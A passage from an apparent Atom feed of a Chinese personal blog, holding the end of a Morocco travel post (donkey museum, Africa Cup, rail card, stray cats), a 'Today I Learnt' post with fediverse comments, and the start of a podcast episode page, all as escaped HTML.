        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_142332024.62f85b138df49633.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_142332024.1f5d74b30460a469.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_142332024.c84ffe909144a7b8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_142332024.1f5d74b30460a469.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251231_163614781.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251231_163614781.58261a63aac56d1b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251231_163614781.72eceaf4bea67fb5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251231_163614781.b8192976432d1dbe.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251231_163614781.72eceaf4bea67fb5.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;驴子博物馆是丹吉尔一位想要为驴子正名的艺术家开的展览。摩洛哥的本土驴在当地劳动历史上发挥了重要作用，如今却因为什么我忘掉的原因濒临灭绝；而且驴子这个词在当地语言中还有骂人的含义。馆长想要让大家重视起驴子、尊重驴子，所以开设了这家博物馆。&lt;&#x2F;p&gt;
&lt;p&gt;整个博物馆位于顶楼的一个小房间，外面的露台有几张桌椅，但没有菜单。我们拜访时，展厅里有一对看似情侣的年轻人。男人向我们介绍了这家博物馆，然后便去天台抽烟了。同时，小林被一副与驴无关的抽象画吸引了。女人凑过来告诉我们，那幅画就是刚才的男人画的。后来聊了下才发现与其说这里是个博物馆，不如说是一个供年轻艺术家交流、工作的场所。那幅画其实就是男人前几天在旁边一间不起眼、拥挤又昏暗的厨房兼工作室里绘制的。&lt;&#x2F;p&gt;
&lt;p&gt;我们回家后逛慈善品商店时碰巧找到一个尺寸合适的相框，就把画挂在家里了。相框只要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;便士！真是让我们赚疯了。那个相框里本来装的是父母送给女儿的信，不知道为什么被捐给了慈善品商店。&lt;&#x2F;p&gt;
&lt;p&gt;伊本・白图泰的墓其实就在驴子博物馆不远——据说是葬在了他自己的家。但我们因为赶飞机，所以没有去。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;非洲杯&quot;&gt;非洲杯&lt;&#x2F;h2&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251221_155106149.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251221_155106149.4470431e2e8446bf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251221_155106149.bfc0e0b764aac66f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251221_155106149.122d53a6cdc50c62.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251221_155106149.bfc0e0b764aac66f.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我们旅行摩洛哥期间正值当地举办非洲杯。由于小林和我谁也不是足球迷，所以谁也不在意这点。结果我们在开往拉巴特的火车上下错了站——我们看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rabat
Riad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站有很多人下车，想当然以为是市中心就跟着下车，结果大家都是去旁边的穆莱・阿卜杜拉王子体育场看摩洛哥踢科摩罗的。那个车站挺新（我们下车六天前才开始营业&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，透过落地窗可以看到酷似鸟巢的球场钢结构上还投影着摩洛哥的深红背景加墨绿五角星国旗。&lt;&#x2F;p&gt;
&lt;p&gt;既然下错车了，我们就打算打车去市里——结果根本没有出租车；没有出租车就去坐公交车，等了半天，有个穿着《鬼灭之刃》外套的好心年轻人告诉我们这里的公交很不可靠。我们又十分狼狈地冒雨跑回车站，买了新的车票，去往只有两站开外的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rabat
Ville。&lt;&#x2F;p&gt;
&lt;p&gt;两天后从丹吉尔打车去机场遇到的司机也是神人：边开快车边用中控看非洲杯&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;摩洛哥的打车软件更是先进——与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Uber&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;平台一口价不同，app&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上显示的价格是司机和乘客都可以议价的——当然，上车之后司机更偏向关掉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;app&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再自己算钱。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我们在路上还看到出车祸的车来着，真害怕司机一个不留神也撞了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;写到此处我又想起马拉喀什的公交司机边踩油门边侧过身给我们找钱。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;出租司机告诉我们想要快的话就要加钱走远路，因为丹吉尔正在举办非洲杯——我们还真从山上路过了下面举办非洲杯的体育场，看来人家没骗人&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;丹吉尔大体育场容量比首都新修的穆莱・阿卜杜拉王子体育场，是摩洛哥最大的足球场。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;当时貌似是塞内加尔把谁踢赢了。司机告诉我塞内加尔可能会夺得冠军，摩洛哥、尼日利亚、埃及也有机会，后来果然塞内加尔排第一，剩下三个包揽剩下的前四名。&lt;&#x2F;p&gt;
&lt;p&gt;最后一次在摩洛哥和非洲杯打交道，是在伊本・白图泰机场的边检。小林先排到，被边检人员问了不少问题。结果我碰上的工作人员就问我去英国干嘛，然后马上放行了。等我走过他的玻璃隔间后才发现，他正用手机看非洲杯呢。看来非洲杯是当地的大事啊。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;铁路打折卡&quot;&gt;铁路打折卡&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_105635827.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_105635827.85d59a2b51e289ea.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_105635827.370d7917f6f71122.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_105635827.be4244ecb3ad4d85.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_105635827.370d7917f6f71122.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div&gt;
&lt;p&gt;我在查卡萨布兰卡去拉巴特的火车票时，发现摩洛哥铁路公司&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ONCF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;ruby&gt;青年卡&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Carte Jeune&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;可以让任意车票打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;折。我作为偶尔的铁路爱好者、永久的卡片收集者，自然是想要办一张作为纪念。只是这卡必须要线下办，而且需要护照复印件和证件照——ONCF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;官网甚至没有说证件照的要求，害我们只能去照片店问。废了九牛二虎之力，我们终于一人办了一张打折卡。但这卡面实在是模糊——我们可是在首都火车站办的呀！不知道的还以为我们办的假证呢。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;随处可见的猫&quot;&gt;随处可见的猫&lt;&#x2F;h2&gt;
&lt;p&gt;摩洛哥街头到处都是流浪猫：马拉喀什最多；拉巴特少一些；丹吉尔最少，但又有流浪狗。小林是真正的爱猫人士，见不得猫受苦，所以会买猫粮喂给流浪猫。而我在确信自己做了正确决定前，倾向于不做任何事情。所以我很难说服自己在没想清楚对当地生态的利弊之前去喂流浪猫。这些事情并不是我想要去思考的，我出来旅游不是为了放下手头的工作来思考平常根本不知晓的问题的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;类似的还有是否素食、是否投资&lt;ruby&gt;漂绿&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;greenwashing&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;工作做得好的公司等。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;也许是我铁石心肠，我讨厌在我不想思考的问题上站队，更讨厌当下就要做出选择。&lt;&#x2F;p&gt;
&lt;p&gt;在摩洛哥的每一天，我们都要受相关事件折磨。小林最终在拉巴特的安达卢西亚花园看到一只公猫吃了她给的猫粮后咬住母猫后颈交配而崩溃了；我一边想要帮助小林，一边又认为自己没有权力分开它们，而僵在原地。公猫叼着母猫跑掉了，小林站在安达卢西亚穆斯林背井离乡后，按《古兰经》中天堂的描述修建的思乡花园中大哭。路过的友好女士想要安慰小林但摸不着头脑，以为小林因为野猫跑掉了而哭，笑着告诉她旁边还有一只猫在呢&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-7&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-7-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-7-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[7]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-7-content&quot;&gt;我们在摩洛哥遇到的人都很友善。聊到猫时，他们都认为摩洛哥人爱猫——道理很简单，不爱猫我们还能看到这么多猫么？而且确实很多商店都有卖猫粮。只有少数当地人认为不把猫带回家养是个问题。最后在驴子博物馆我们碰上了唯一一只绝育的公猫，但情侣中的女方说当地的绝育手术会留下很多后遗症。如今的家猫本来就是那一片走出来的，也许这就是猫与人最初的共处方式。在遇到观念、看法不同的群体时，我无法自认正确地指责他人。和小林相比，我没有改造世界的动力。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;出了花园，我查到两天后在丹吉尔有飞回英国的飞机，而我们原计划的下一站正是丹吉尔。所以我们就在命运般的伊本・白图泰机场离开了摩洛哥，我也在逃离的飞机上打开了《伊本・白图泰游记&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。在平安夜，我们到达了曼彻斯特。街上并没有人，可能都在家中准备过圣诞节。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;morocco
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;morocco&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


三人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;coiru&quot;&gt;










磁怪&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;cirilla&quot;&gt;










小可可乐&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open announces&gt;
    &lt;summary&gt;


一人转发：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&amp;#x2F;statuses&amp;#x2F;116003964156552555&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 我去 复活了！，喜欢非洲杯和驴子博物馆这两段，好有趣&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>TIL</title>
    <published>2026-01-19T22:28:33+00:00</published>
    <updated>2026-01-19T22:28:33+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/til/" type="text/html" />
    <id>https://emptystack.top/til/</id>
    <content type="html">
      &lt;p&gt;虽然已经脱离学生身份很久了，但还是会不时学到一些新知识。我很喜欢这种微小谜题被解开的感觉：它提醒我还有许多未知等待我去了解，提醒我一切还没有结束。每次获得这些新知的时候，我都会幻想自己在网上发一篇《Today
I
Learnt：XXX》的帖子。但我是个拧巴的人，我想发在自己的博客上，可惜我的博客是靠错综复杂的脚本攒起来的，发一篇文章很麻烦，所以一直没有真的写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL。&lt;&#x2F;p&gt;
&lt;p&gt;其实我有解决方案：&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;&quot;&gt;我的博客支持使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;评论&lt;&#x2F;a&gt;，所以我只需要创建一篇&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;博文，在每次想写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时候用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;评论那条博文就好了。我还可以每年创建一篇新的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文章，这样就自动有了按年分类的效果——于是，我打算在想出这个主意的下一个元旦发布我的第一篇&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL，也就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2024-01-01。&lt;&#x2F;p&gt;
&lt;p&gt;显而易见，我错过了三个元旦。转念一想，其实也不用那么严格：一月份的每一天都比之后的任何时刻接近开年。所以，就有了这第一篇&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TIL。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;til
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;til&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;aapa&quot;&gt;










画完你的画你的画完你的画你的画完你的画你的&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


两条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;alvis&amp;#x2F;statuses&amp;#x2F;115972898259664347&quot;&gt;










昵称&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                        
                        
                    
                        
                        
                            
                            
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; &lt;a href=&quot;https:&#x2F;&#x2F;mona.do&#x2F;tags&#x2F;TIL&quot; class=&quot;mention hashtag&quot; rel=&quot;tag&quot;&gt;#&lt;span&gt;TIL&lt;&#x2F;span&gt;&lt;&#x2F;a&gt; 记录照片元数据的EXIF标准是日本的Camera &amp;amp; Imaging Products Association（CIPA）制定的——其实也不奇怪，毕竟相机厂都是日本的。我以为这种被广泛使用的标准都由ISO来负责，然后发现ISO确实有自己的元数据标准：XMP——完全没听过 &lt;img src=&#x27;https:&#x2F;&#x2F;media.monado.ren&#x2F;custom_emojis&#x2F;images&#x2F;000&#x2F;049&#x2F;680&#x2F;original&#x2F;8ad09f187ee7e248.png&#x27; style=&#x27;width:2em;transform:translateY(.2em);&#x27;
                            title=&#x27;:cdko_big_head:&#x27;&gt;&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;alvis&amp;#x2F;statuses&amp;#x2F;115924182442468273&quot;&gt;










昵称&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; &lt;a href=&quot;https:&#x2F;&#x2F;mona.do&#x2F;tags&#x2F;TIL&quot; class=&quot;mention hashtag&quot; rel=&quot;tag&quot;&gt;#&lt;span&gt;TIL&lt;&#x2F;span&gt;&lt;&#x2F;a&gt; 测试：击剑面罩能放得下眼镜&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台：Roundabout</title>
    <published>2025-11-11T21:47:38+00:00</published>
    <updated>2025-11-11T21:47:38+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/roundabout/" type="text/html" />
    <id>https://emptystack.top/roundabout/</id>
    <content type="html">
      &lt;style&gt;
.c205-100 {
    grid-template-columns: 205fr 100fr;
}
&lt;&#x2F;style&gt;
&lt;p&gt;这段音频录制于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号休年假时剪完。给小林试听过后发现哪里有个小问题，但我俩都没记住具体时间，一直拖到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月才决定不再修改了。剪辑虽然完成了，但因为不知道给这期起什么名字、做怎样的封面，所以一直拖到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月才完成发布前的其他工作。&lt;&#x2F;p&gt;
&lt;p&gt;有位朋友喜欢收集人生各阶段的肥皂碎屑——据说闻一下便能立刻被带回收集时的时光。自己播客中的声音，也有肥皂的作用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;roundabout-cover.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;roundabout-cover.c50e4c2f28cecd90.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;roundabout-cover.fd3c9f5edf41c762.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;roundabout-cover.7373797a0bb43209.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;roundabout-cover.fd3c9f5edf41c762.webp&quot;
	alt=&quot;本期播客封面：上面是扭曲的播客名（小林家的院子），下方是扭曲的汽车，背景是英国驾考通过的认证&quot;
	
	
	height=&quot;3000&quot;
